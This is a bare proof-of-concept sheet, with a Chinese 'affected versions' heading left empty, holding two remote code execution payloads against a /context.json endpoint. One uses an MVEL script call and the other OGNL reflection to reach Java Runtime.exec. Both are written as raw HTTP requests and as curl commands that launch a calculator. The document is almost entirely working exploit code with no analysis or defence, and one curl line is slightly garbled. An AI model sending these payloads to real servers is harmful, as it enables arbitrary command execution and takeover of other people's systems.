影响版本:
POC1:
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
POC2:
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'